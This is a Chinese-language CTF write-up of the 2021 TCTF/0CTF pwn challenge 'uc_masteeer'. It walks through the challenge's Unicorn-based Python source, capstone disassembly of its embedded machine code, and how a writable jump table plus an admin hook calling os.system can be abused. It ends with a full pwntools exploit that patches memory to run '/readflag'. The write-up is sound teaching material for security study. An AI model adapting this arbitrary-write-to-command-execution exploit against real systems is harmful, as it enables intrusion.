2021 TCTF/0CTF uc_masteeer刨析学习

阅读量    53052 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言:打了一下国际赛,这次国际赛除了没见过的pwn题,其它的pwn题都算比较常规了,解出了两道pwn题,也算不错的了,通过这次比赛也学到了python pwn题的解题技巧,主要是逆向python脚本的汇编,需要用到了一个反汇编工具,然后通过反汇编逆向出漏洞,进行写exp。

uc_masteeer:

题目给了两个py脚本文件,先用python3运行uc_masteeer.py文件看看有什么样的结构,然后再分析里面的代码

发现运行后有以下菜单:

1.admin test

2.user test

3;patch data

再看py脚本文件里的逻辑,具体分析在代码的注释里

uc_masteeer.py:

#!/usr/bin/env python
import os
import struct
import types
from unicorn import *
from unicorn.x86_const import *

from syscall import hook_syscall


CODE = 0xdeadbeef000
STACK = 0xbabecafe000
MAIN = b'\x48\x83\xec\x20\x66\xc7\x44\x24\x0e\x00\x00\x48\x8d\x5c\x24\x0e\x48\xc7\x44\x24\x10\x00\x00\x00\x00\x48\xc7\x44\x24\x18\x00\x00\x00\x00\xb9\x44\x00\x00\x00\x48\x8d\x15\x8b\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xbe\x01\x00\x00\xb9\x02\x00\x00\x00\x48\x89\xda\x31\xf6\x31\xff\x31\xc0\xe8\xab\x01\x00\x00\x8a\x44\x24\x0e\x3c\x32\x74\x39\x3c\x33\x74\x62\x3c\x31\x0f\x85\x04\x01\x00\x00\xb9\x12\x00\x00\x00\x48\x8d\x15\x35\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x7a\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x12\x00\x00\x00\x48\x8d\x15\xf6\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x4d\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x07\x00\x00\x00\x48\x8d\x15\xc2\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x20\x01\x00\x00\x31\xf6\x31\xff\x48\x8d\x54\x24\x10\xb9\x08\x00\x00\x00\x31\xc0\xe8\x0b\x01\x00\x00\xb9\x07\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\x48\x8d\x15\x82\x00\x00\x00\xbf\x01\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x18\xb9\x08\x00\x00\x00\xe8\xd9\x00\x00\x00\x48\x81\x7c\x24\x18\xff\x00\x00\x00\x0f\x87\xef\xfe\xff\xff\xb9\x07\x00\x00\x00\x48\x8d\x15\x41\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xad\x00\x00\x00\x48\x8b\x4c\x24\x18\x31\xf6\x31\xff\x48\x8b\x54\x24\x10\x31\xc0\xe8\x98\x00\x00\x00\xe9\xb8\xfe\xff\xff\xbe\xff\x00\x00\x00\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x82\x00\x00\x00\xe9\xa2\xfe\xff\xff\x64\x61\x74\x61\x3a\x20\x00\x73\x69\x7a\x65\x3a\x20\x00\x61\x64\x64\x72\x3a\x20\x00\x50\x61\x74\x68\x65\x74\x69\x63\x20\x68\x75\x6d\x61\x6e\x20\x3e\x0a\x00\x50\x6f\x77\x65\x72\x66\x75\x6c\x20\x61\x64\x6d\x69\x6e\x20\x3e\x0a\x00\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x75\x63\x5f\x6d\x61\x73\x74\x65\x65\x65\x72\x0a\x31\x2e\x20\x61\x64\x6d\x69\x6e\x20\x74\x65\x73\x74\x0a\x32\x2e\x20\x75\x73\x65\x72\x20\x74\x65\x73\x74\x0a\x33\x2e\x20\x70\x61\x74\x63\x68\x20\x64\x61\x74\x61\x0a\x3f\x3a\x20\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'
TAIL = b'\x31\xc0\xb9\x32\x00\x00\x00\x48\x8d\x15\x55\x00\x00\x00\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x18\x66\x89\x44\x24\x0e\x31\xc0\xe8\x6d\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x0e\xb9\x02\x00\x00\x00\xe8\x58\x00\x00\x00\x80\x7c\x24\x0e\x79\x75\x11\x48\x83\xc4\x18\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x10\x31\xf6\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x32\x00\x00\x00\x43\x6f\x6e\x67\x72\x61\x74\x75\x6c\x61\x74\x69\x6f\x6e\x73\x21\x20\x54\x65\x73\x74\x20\x73\x75\x63\x63\x65\x65\x64\x21\x0a\x54\x72\x79\x20\x61\x67\x61\x69\x6e\x3f\x20\x28\x79\x2f\x5b\x6e\x5d\x29\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'
ADMIN = b'\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'.ljust(0x1000, b'\xf4')
admin_offset = CODE + 0x6b - 5
writable = []
is_admin = False


def admin_hook(uc, address, size, user_data):
global is_admin
is_admin = True
uc.mem_write(CODE + 0x1000, ADMIN)


def hook_mem_access(uc, access, address, size, value, user_data):
global is_admin
if is_admin and address == 0xbabecafe233:
is_admin = False
cmd = uc.mem_read(value, 0x100)
if cmd.startswith(b'k33nlab'):
os.system(cmd[7:cmd.index(0)].decode('utf-8')) #代码执行


def _safe_mem_write(self, address, data):
end = address + len(data)
for page in writable:
if address >= page and end <= page + 0x1000:
self.mem_write(address, data)
break
else:
raise UcError(UC_ERR_WRITE_PROT)


def p64(n):
return struct.pack('<Q', n)


def init(uc):
global writable`

uc.safe_mem_write = types.MethodType(_safe_mem_write, uc)

uc.mem_map(CODE, 0x1000, UC_PROT_READ | UC_PROT_EXEC) #申请code空间 0x1000,code有可执行的权限
uc.mem_write(CODE, b'\x90' * 0x1000) #write入0x1000 0x90
uc.mem_map(CODE + 0x1000, 0x1000, UC_PROT_ALL) #在code+0x1000处申请0x1000
uc.mem_write(CODE + 0x1000, b'\x90' * 0x1000) #继续向code+0x1000填充
uc.mem_map(CODE + 0x2000, 0x1000, UC_PROT_READ | UC_PROT_EXEC) #code+0x2000申请 推测后面的参数是命令执行,就是可读可执行权限
uc.mem_write(CODE + 0x2000, b'\x90' * 0x1000) #继续填充
uc.mem_write(CODE, MAIN) #将main的东西填充到code里
uc.mem_write(CODE + 0x2000, TAIL) #将tail填充到0x2000

uc.mem_map(STACK, 0x1000, UC_PROT_READ | UC_PROT_WRITE) #申请0x1000的stack空间 可读可写没有可执行
uc.reg_write(UC_X86_REG_RSP, STACK + 0xf00) #将stack+0xf00为栈顶
uc.mem_write(STACK, p64(CODE + 0x1000) + p64(CODE + 0x2000) + p64(CODE)) #将main+tail+0x90放到stqack里

writable = (CODE + 0x1000, STACK) #从code+0x1000和stack形成元组

uc.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL) #大概估计是syscall
uc.hook_add(UC_HOOK_CODE, admin_hook, None, admin_offset, admin_offset + 1)
#admin_hook:判断是不是为admin_hook admin_offset:CODE + 0x6b - 5 向名字是admin的偏移地址距离admin偏移地址
uc.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access)
#hook_mem_access:进行了判断是佛为admin 如果不是写入了一个字符串:k33nlab addr: 0xbabecafe233

def play():
uc = Uc(UC_ARCH_X86, UC_MODE_64)
init(uc)

data = os.read(0, 0x1000 - 0xd)
data += b'\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08'
uc.mem_write(CODE + 0x1000, data) #将data写到code+0x1000,并且赋予再次读取的权限

try:
uc.emu_start(CODE, CODE + 0x3000 - 1) #开启内存
except UcError as e:
print("error...")


if __name__ == '__main__':
play()

分析完代码,发现有可写可读的逻辑操作,但在这时可以形成第一思路,任意写,任意读经典操作,但要想实现这一设想完全不够,所以这里还得要反汇编一下脚本里给的main、tail、admin这些机器码,这时候就得需要用到一个capstone工具了,这个工具可以直接反汇编操作,太好用了,可以反汇编arm、amd、mips这些架构,非常nice,下面简绍一下具体的用法

先反汇编一下admin机器码

exp1.py:

from capstone import *

ADMIN = b'\xb9\x10\x00\x00\x00\x48\x8d\x15\x37\x00\x00\x00\x31\xc0\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x08\xe8\x5f\x00\x00\x00\x48\x8d\x05\x2b\x00\x00\x00\x48\xa3\x33\xe2\xaf\xec\xab\x0b\x00\x00\x48\x83\xc4\x08\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x08\x49\x6d\x61\x67\x69\x6e\x61\x74\x69\x6f\x6e\x20\x69\x73\x20\x00\x6b\x33\x33\x6e\x6c\x61\x62\x65\x63\x68\x6f\x20\x27\x6d\x6f\x72\x65\x20\x69\x6d\x70\x6f\x72\x74\x61\x6e\x74\x20\x74\x68\x61\x6e\x20\x6b\x6e\x6f\x77\x6c\x65\x64\x67\x65\x2e\x27\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'.ljust(0x1000, b'\xf4')

md = Cs(CS_ARCH_X86, CS_MODE_64)#开启了x86\64的反汇编操作,用下面for循环把结果呈现出来
for i in md.disasm(ADMIN, 0x1000):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

结果result:

0x1000: mov ecx, 0x10
0x1005: lea rdx, [rip + 0x37]
0x100c: xor eax, eax
0x100e: mov esi, 1
0x1013: mov edi, 1
0x1018: sub rsp, 8
0x101c: call 0x1080
0x1021: lea rax, [rip + 0x2b]
0x1028: movabs qword ptr [0xbabecafe233], rax
0x1032: add rsp, 8
0x1036: movabs rdi, 0xbabecafe000
0x1040: jmp qword ptr [rdi + 8]
0x1043: insd dword ptr [rdi], dx

exp_main.py:

from capstone import *

MAIN = b'\x48\x83\xec\x20\x66\xc7\x44\x24\x0e\x00\x00\x48\x8d\x5c\x24\x0e\x48\xc7\x44\x24\x10\x00\x00\x00\x00\x48\xc7\x44\x24\x18\x00\x00\x00\x00\xb9\x44\x00\x00\x00\x48\x8d\x15\x8b\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xbe\x01\x00\x00\xb9\x02\x00\x00\x00\x48\x89\xda\x31\xf6\x31\xff\x31\xc0\xe8\xab\x01\x00\x00\x8a\x44\x24\x0e\x3c\x32\x74\x39\x3c\x33\x74\x62\x3c\x31\x0f\x85\x04\x01\x00\x00\xb9\x12\x00\x00\x00\x48\x8d\x15\x35\x01\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x7a\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x12\x00\x00\x00\x48\x8d\x15\xf6\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x4d\x01\x00\x00\x48\x83\xc4\x20\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x27\xb9\x07\x00\x00\x00\x48\x8d\x15\xc2\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\x20\x01\x00\x00\x31\xf6\x31\xff\x48\x8d\x54\x24\x10\xb9\x08\x00\x00\x00\x31\xc0\xe8\x0b\x01\x00\x00\xb9\x07\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\x48\x8d\x15\x82\x00\x00\x00\xbf\x01\x00\x00\x00\xe8\xee\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x18\xb9\x08\x00\x00\x00\xe8\xd9\x00\x00\x00\x48\x81\x7c\x24\x18\xff\x00\x00\x00\x0f\x87\xef\xfe\xff\xff\xb9\x07\x00\x00\x00\x48\x8d\x15\x41\x00\x00\x00\xbe\x01\x00\x00\x00\x31\xc0\xbf\x01\x00\x00\x00\xe8\xad\x00\x00\x00\x48\x8b\x4c\x24\x18\x31\xf6\x31\xff\x48\x8b\x54\x24\x10\x31\xc0\xe8\x98\x00\x00\x00\xe9\xb8\xfe\xff\xff\xbe\xff\x00\x00\x00\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x82\x00\x00\x00\xe9\xa2\xfe\xff\xff\x64\x61\x74\x61\x3a\x20\x00\x73\x69\x7a\x65\x3a\x20\x00\x61\x64\x64\x72\x3a\x20\x00\x50\x61\x74\x68\x65\x74\x69\x63\x20\x68\x75\x6d\x61\x6e\x20\x3e\x0a\x00\x50\x6f\x77\x65\x72\x66\x75\x6c\x20\x61\x64\x6d\x69\x6e\x20\x3e\x0a\x00\x57\x65\x6c\x63\x6f\x6d\x65\x20\x74\x6f\x20\x75\x63\x5f\x6d\x61\x73\x74\x65\x65\x65\x72\x0a\x31\x2e\x20\x61\x64\x6d\x69\x6e\x20\x74\x65\x73\x74\x0a\x32\x2e\x20\x75\x73\x65\x72\x20\x74\x65\x73\x74\x0a\x33\x2e\x20\x70\x61\x74\x63\x68\x20\x64\x61\x74\x61\x0a\x3f\x3a\x20\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'

md = Cs(CS_ARCH_X86, CS_MODE_64)

for i in md.disasm(MAIN, 0x1000):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

result:

0x1000: sub rsp, 0x20
0x1004: mov word ptr [rsp + 0xe], 0
0x100b: lea rbx, [rsp + 0xe]
0x1010: mov qword ptr [rsp + 0x10], 0
0x1019: mov qword ptr [rsp + 0x18], 0
0x1022: mov ecx, 0x44
0x1027: lea rdx, [rip + 0x18b]
0x102e: mov esi, 1
0x1033: xor eax, eax
0x1035: mov edi, 1
0x103a: call 0x11fd
0x103f: mov ecx, 2
0x1044: mov rdx, rbx
0x1047: xor esi, esi
0x1049: xor edi, edi
0x104b: xor eax, eax
0x104d: call 0x11fd
0x1052: mov al, byte ptr [rsp + 0xe]
0x1056: cmp al, 0x32
0x1058: je 0x1093
0x105a: cmp al, 0x33
0x105c: je 0x10c0
0x105e: cmp al, 0x31
0x1060: jne 0x116a
0x1066: mov ecx, 0x12
0x106b: lea rdx, [rip + 0x135]
0x1072: mov esi, 1
0x1077: xor eax, eax
0x1079: mov edi, 1
0x107e: call 0x11fd
0x1083: add rsp, 0x20
0x1087: movabs rdi, 0xbabecafe000
0x1091: jmp qword ptr [rdi]
0x1093: mov ecx, 0x12
0x1098: lea rdx, [rip + 0xf6]
0x109f: mov esi, 1
0x10a4: xor eax, eax
0x10a6: mov edi, 1
0x10ab: call 0x11fd
0x10b0: add rsp, 0x20
0x10b4: movabs rdi, 0xbabecafe000
0x10be: jmp qword ptr [rdi]
0x10c0: mov ecx, 7
0x10c5: lea rdx, [rip + 0xc2]
0x10cc: mov esi, 1
0x10d1: xor eax, eax
0x10d3: mov edi, 1
0x10d8: call 0x11fd
0x10dd: xor esi, esi
0x10df: xor edi, edi
0x10e1: lea rdx, [rsp + 0x10]
0x10e6: mov ecx, 8
0x10eb: xor eax, eax
0x10ed: call 0x11fd
0x10f2: mov ecx, 7
0x10f7: mov esi, 1
0x10fc: xor eax, eax
0x10fe: lea rdx, [rip + 0x82]
0x1105: mov edi, 1
0x110a: call 0x11fd
0x110f: xor esi, esi
0x1111: xor edi, edi
0x1113: xor eax, eax
0x1115: lea rdx, [rsp + 0x18]
0x111a: mov ecx, 8
0x111f: call 0x11fd
0x1124: cmp qword ptr [rsp + 0x18], 0xff
0x112d: ja 0x1022
0x1133: mov ecx, 7
0x1138: lea rdx, [rip + 0x41]
0x113f: mov esi, 1
0x1144: xor eax, eax
0x1146: mov edi, 1
0x114b: call 0x11fd
0x1150: mov rcx, qword ptr [rsp + 0x18]
0x1155: xor esi, esi
0x1157: xor edi, edi
0x1159: mov rdx, qword ptr [rsp + 0x10]
0x115e: xor eax, eax
0x1160: call 0x11fd
0x1165: jmp 0x1022
0x116a: mov esi, 0xff
0x116f: mov edi, 0x3c
0x1174: xor eax, eax
0x1176: call 0x11fd
0x117b: jmp 0x1022

exp_tail.py:

from capstone import *

TAIL = b'\x31\xc0\xb9\x32\x00\x00\x00\x48\x8d\x15\x55\x00\x00\x00\xbe\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\x83\xec\x18\x66\x89\x44\x24\x0e\x31\xc0\xe8\x6d\x00\x00\x00\x31\xf6\x31\xff\x31\xc0\x48\x8d\x54\x24\x0e\xb9\x02\x00\x00\x00\xe8\x58\x00\x00\x00\x80\x7c\x24\x0e\x79\x75\x11\x48\x83\xc4\x18\x48\xbf\x00\xe0\xaf\xec\xab\x0b\x00\x00\xff\x67\x10\x31\xf6\xbf\x3c\x00\x00\x00\x31\xc0\xe8\x32\x00\x00\x00\x43\x6f\x6e\x67\x72\x61\x74\x75\x6c\x61\x74\x69\x6f\x6e\x73\x21\x20\x54\x65\x73\x74\x20\x73\x75\x63\x63\x65\x65\x64\x21\x0a\x54\x72\x79\x20\x61\x67\x61\x69\x6e\x3f\x20\x28\x79\x2f\x5b\x6e\x5d\x29\x00\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\xc3'

md = Cs(CS_ARCH_X86, CS_MODE_64)

for i in md.disasm(TAIL, 0x1000):
print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

result:

0x1000: xor eax, eax
0x1002: mov ecx, 0x32
0x1007: lea rdx, [rip + 0x55]
0x100e: mov esi, 1
0x1013: mov edi, 1
0x1018: sub rsp, 0x18
0x101c: mov word ptr [rsp + 0xe], ax
0x1021: xor eax, eax
0x1023: call 0x1095
0x1028: xor esi, esi
0x102a: xor edi, edi
0x102c: xor eax, eax
0x102e: lea rdx, [rsp + 0xe]
0x1033: mov ecx, 2
0x1038: call 0x1095
0x103d: cmp byte ptr [rsp + 0xe], 0x79
0x1042: jne 0x1055
0x1044: add rsp, 0x18
0x1048: movabs rdi, 0xbabecafe000
0x1052: jmp qword ptr [rdi + 0x10]
0x1055: xor esi, esi
0x1057: mov edi, 0x3c
0x105c: xor eax, eax
0x105e: call 0x1095
0x1063: outsd dx, dword ptr [rsi]
0x1065: outsb dx, byte ptr [rsi]
0x1066: jb 0x10ca
0x1069: je 0x10e0
0x106b: insb byte ptr [rdi], dx

至此反汇编出来了,我们分析一下汇编代码吧,从而分析漏洞,真正的洞是在jmp跳转,从汇编来看,jmp的地址我们是有可写的操作的,如果我们找出精确位置把标识物该admin为标识物,然后再切换进而修改执行的内容是不是就能读取flag了, 我想了想是的,没错,那有一点的是我们该如何确定位置,第一个位置好确定,直接往stack读入我们的code就可以了,但想切换回来再修改其内容就比较难找了,其实仔细读读汇编也不是很难找,前面说了这个题的考点就是admin权限进行rce,那我们直接看反汇编出的admin:

0x1000: mov ecx, 0x10
0x1005: lea rdx, [rip + 0x37]
0x100c: xor eax, eax
0x100e: mov esi, 1
0x1013: mov edi, 1
0x1018: sub rsp, 8
0x101c: call 0x1080 #看到有个call 去到0x1080这个地方了
0x1021: lea rax, [rip + 0x2b] #把rip+0x2b赋值给了rax
0x1028: movabs qword ptr [0xbabecafe233], rax #rax赋值到了stack:0xbabecafe233
0x1032: add rsp, 8
0x1036: movabs rdi, 0xbabecafe000
0x1040: jmp qword ptr [rdi + 8] #rce了
0x1043: insd dword ptr [rdi], dx

如上是我分析的一个关键点,那如果计算出0x101c汇编指令和0x1021汇编指令的偏移就能得出合适的位置,原先的code地址是0x1000而我们call的地址是0x1080,所以这里我们要减去0x1000计算出0x80,再下面一条指令是rip+0x2b,所以我们要用0x80-0x2b=0x55,那我们的code+0x1000+0x55就是精确的地址了,但是考虑到py脚本里有一行检测k33nlab的操作,所以为了不报错出现其它的意外,我们要在0x53这个地方填充一下k33nlab,后面再填充我们要执行的命令。

exp:

from pwn import *

p = process(["python3", "./uc_masteeer.py"])
context.log_level = "debug"
context.arch = "amd64"

CODE = 0xdeadbeef000
STACK = 0xbabecafe000

def admin_test():
p.recvuntil(b"?: ")
p.sendline(b"1")

def user_test():
p.recvuntil(b"?: ")
p.sendline(b"2")

def patch_data(target, size, data):
p.recvuntil(b"?: ")
p.sendline(b"3")
p.sendafter(b"addr: ", p64(target))
p.sendafter(b"size: ", p64(size))
p.sendafter(b"data: ", data)

def exp():
p.send(b"\x90")

patch_data(STACK, 8, p64(CODE))
admin_test()
patch_data(STACK, 8, p64(CODE+0x1000))

cmd = b"k33nlab"
cmd += b"/readflag\x00"
patch_data(CODE+0x1000+0x53, len(cmd), cmd)

user_test()

p.interactive()

if __name__ == "__main__":
exp()

总结:这道题质量还是蛮高的,能学到不少,希望再接再厉。。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多